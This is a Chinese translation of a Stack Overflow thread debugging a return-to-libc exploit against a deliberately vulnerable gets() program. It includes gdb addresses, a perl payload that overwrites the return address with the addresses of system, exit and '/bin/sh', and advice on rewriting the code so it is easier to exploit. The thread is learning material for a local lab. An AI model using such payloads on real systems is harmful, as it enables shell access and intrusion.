返回到libc - 问题

8

我在使用return-to-libc漏洞时遇到了问题。问题是什么都没有发生,但没有出现分段错误(是的,我确实溢出了堆栈)。

这是我的程序:

int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

我正在使用gets而不是strcpy,因为我的地址以0x00开头,而strcpy会认为这是字符串的结尾,所以我不能使用它。
以下是我需要的地址:
$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb)  x/s 0xbffffe3f
0xbffffe3f:      "/bin/sh"

当输入正确的序列时,会发生以下情况:
eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$

所以什么也没有发生。

但是如果我输入 520 个 'A'(0x41),那么 EIP 就会被 'A' 溢出。如果有 516 个 'A',则什么也不会发生,但是 EIP 中包含系统地址,接着是退出地址,接着是 /bin/sh 指针。

为什么什么也没发生?


不,/proc/sys/kernel/randomize_va_space 的值为0(因此已禁用)。 - eleanor
get()函数会在读取到'\x00'时停止读取行,或者你没有足够地溢出缓冲区? - Yann Droneaud
1
gets() 也适用于字符串。它会在遇到0x00时停止,就像strcpy一样,对于二进制数据,请使用fread()。 - nos
查看汇编代码将会有所帮助。 - tristan
你的处理器架构是什么?操作系统是32位的吗? - user277465
显示剩余4条评论
1个回答

3

在开始之前,让我们先来学习一些汇编知识:

代码:

$ cat gets.c
int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

汇编语言
$ gcc gets.c -o getsA.s -S -fverbose-asm
$ cat gets.s
    ....
.globl main
        .type   main, @function
main:
        leal    4(%esp), %ecx   #,
        andl    $-16, %esp      #,
        pushl   -4(%ecx)        #  (1)
        pushl   %ebp            #  2
        movl    %esp, %ebp      #,
        pushl   %ecx            #  3
        subl    $516, %esp      #,
        leal    -516(%ebp), %eax        #, tmp60
        movl    %eax, (%esp)    # tmp60,
        call    gets            #  << break here  
        addl    $516, %esp      #,  << or here to see the stack picture
        popl    %ecx            #  (3')
        popl    %ebp            #  (2')
        leal    -4(%ecx), %esp  #  (1')
        ret
        .size   main, .-main

这里详细描述了序言和尾声(这些都带有对齐代码)理解一些汇编语句的目的

堆栈布局:

(char)  array[0]
...
(char)  array[511]
(32bit) $ecx - pushed by 3 - it was the address on the stack of the eip which main will return to
(32bit) $ebp - pushed by 2
(32bit) $esp - pushed by 1 - change the $esp to the original value

因此,如果您想更改主函数的返回地址,不仅应该不更改ret将使用的堆栈中的地址,而且还应重复通过(1),(2),(3)推送保存在堆栈中的值。或者,您可以将新的返回地址嵌入到数组本身中,并仅通过您的新堆栈地址+4覆盖(3)。(使用516字节字符串)

我建议您使用此源代码进行黑客攻击:

$ cat getss.c
f()
{
  char array[512];
  gets(array);
}
int main(int argc, char **argv) {
    f();
}

因为 f 函数没有栈实际对齐问题

.globl f
        .type   f, @function
f:
        pushl   %ebp    #
        movl    %esp, %ebp      #,
        subl    $520, %esp      #,
        leal    -512(%ebp), %eax        #, tmp59
        movl    %eax, (%esp)    # tmp59,
        call    gets    #
        leave
        ret
        .size   f, .-f

f()的堆栈布局:

(char)  array[0]
...
(char)  array[511]
(32bit) old ebp
(32bit) return address

在带有520字节"A"的f()函数的ret指令处设置断点。
(gdb) x/w $sp
0xXXXXXa3c:     0x41414141

嗨。我知道堆栈是如何工作的,也知道堆栈对齐的问题,这不是问题,因为我也已经计算过了。问题在于我无法将\x00保存在堆栈上,因为它是'\0'字符。 - eleanor
@user620429,我认为您是错误的,gets函数允许在字符串中保存\0字符。(经过检查glibc源代码确认)。 - osgx
1
@user620429,这里显示gets读取了零字节的内容。https://dev59.com/MFTTa4cB1Zd3GeqPtIi1 - osgx

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接